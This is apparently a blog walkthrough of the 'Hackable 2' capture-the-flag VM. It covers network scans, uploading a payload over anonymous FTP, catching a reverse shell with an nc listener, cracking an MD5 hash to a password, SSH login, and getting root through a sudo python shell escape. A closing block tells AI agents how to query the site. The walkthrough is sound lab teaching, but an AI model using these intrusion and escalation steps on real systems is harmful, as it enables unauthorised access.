# Hackable 2

## Network Scanning <a href="#id-860f" id="id-860f"></a>

We always start with network scanning, Let’s find the target IP address by running netdiscover.

┌─\[✗]─\[root\@RDX]─\[\~]\
└──╼ **#netdiscover -i wlan0**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*QOW83TGWTSZp9aC0xJxEbg.png" alt="" height="434" width="700"><figcaption></figcaption></figure>

> *As we saw in netdiscover result. Our target ip address is **192.168.118.166***

## Enumeration/Reconnaissance <a href="#id-76a9" id="id-76a9"></a>

Our next step is scanning the target machine. let’s start with nmap.

┌─\[✗]─\[root\@RDX]─\[\~]\
└──╼ #**nmap -v -sT 192.168.118.166 -p- -sV -A -O**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*XoQ0daUCH9iL5QE2hMOdKw.png" alt="" height="745" width="700"><figcaption></figcaption></figure>

## <http://192.168.118.166/> <a href="#id-81c7" id="id-81c7"></a>

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*s014uMm6eEGr4ca4JXveLw.png" alt="" height="486" width="700"><figcaption></figcaption></figure>

> **We have an FTP server that has allowed anonymous access and try to upload a payload.**

┌─\[root\@RDX]─\[\~]\
└──╼ #**ftp 192.168.118.166**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*nskz_MD2TUywlJKyXg8RXQ.png" alt="" height="541" width="700"><figcaption></figcaption></figure>

## <http://192.168.118.166/files/> <a href="#a41c" id="a41c"></a>

<figure><img src="https://miro.medium.com/v2/resize:fit:751/1*vdxm-7EqbuGFQy0EJatrWw.png" alt="" height="442" width="601"><figcaption></figcaption></figure>

┌─\[root\@RDX]─\[\~]\
└──╼ #**nc -nlvp 443**

<figure><img src="https://miro.medium.com/v2/resize:fit:874/1*YLSXjaPbNg9eb8KjrtfAMQ.png" alt="" height="339" width="699"><figcaption></figcaption></figure>

$ **id**

$ **cd /home**

$ **ls**

$ **cat important.txt**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*9eb0PpEFI_pXTaSAlvFy1Q.png" alt="" height="758" width="700"><figcaption></figcaption></figure>

now i got hash

> [https://hashtoolkit.com/decrypt-hash/](https://hashtoolkit.com/decrypt-hash/?hash=cf4c2232354952690368f1b3dfdfb24d)

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*8gefhEXpQv7rhaowPPfQSA.png" alt="" height="460" width="700"><figcaption></figcaption></figure>

[hash=**cf4c2232354952690368f1b3dfdfb24d**](https://hashtoolkit.com/decrypt-hash/?hash=cf4c2232354952690368f1b3dfdfb24d) = **onion**

┌─\[root\@RDX]─\[\~]\
└──╼ #**ssh shrek\@192.168.118.166**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*ZBTbLCPafOx9kZRjNINJIg.png" alt="" height="486" width="700"><figcaption></figcaption></figure>

shrek\@ubuntu:\~$ **ls**

shrek\@ubuntu:\~$ **cat user.txt**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*qLeMQdbg7tFCfnh5T1PaSg.png" alt="" height="797" width="700"><figcaption></figcaption></figure>

## Privilege Escalation <a href="#id-90be" id="id-90be"></a>

shrek\@ubuntu:\~$ **sudo -l**

<figure><img src="https://miro.medium.com/v2/resize:fit:875/1*NVHmXpO2r1vRnD9XvHm9Gg.png" alt="" height="244" width="700"><figcaption></figcaption></figure>

shrek\@ubuntu:\~$ **sudo python3.5 -c ‘import os; os.system(“/bin/sh”)’**\
\# **id**\
\# **cd /root**\
\# **ls**\
\# **cat root.txt**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://foothold.gitbook.io/blog/hackable-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
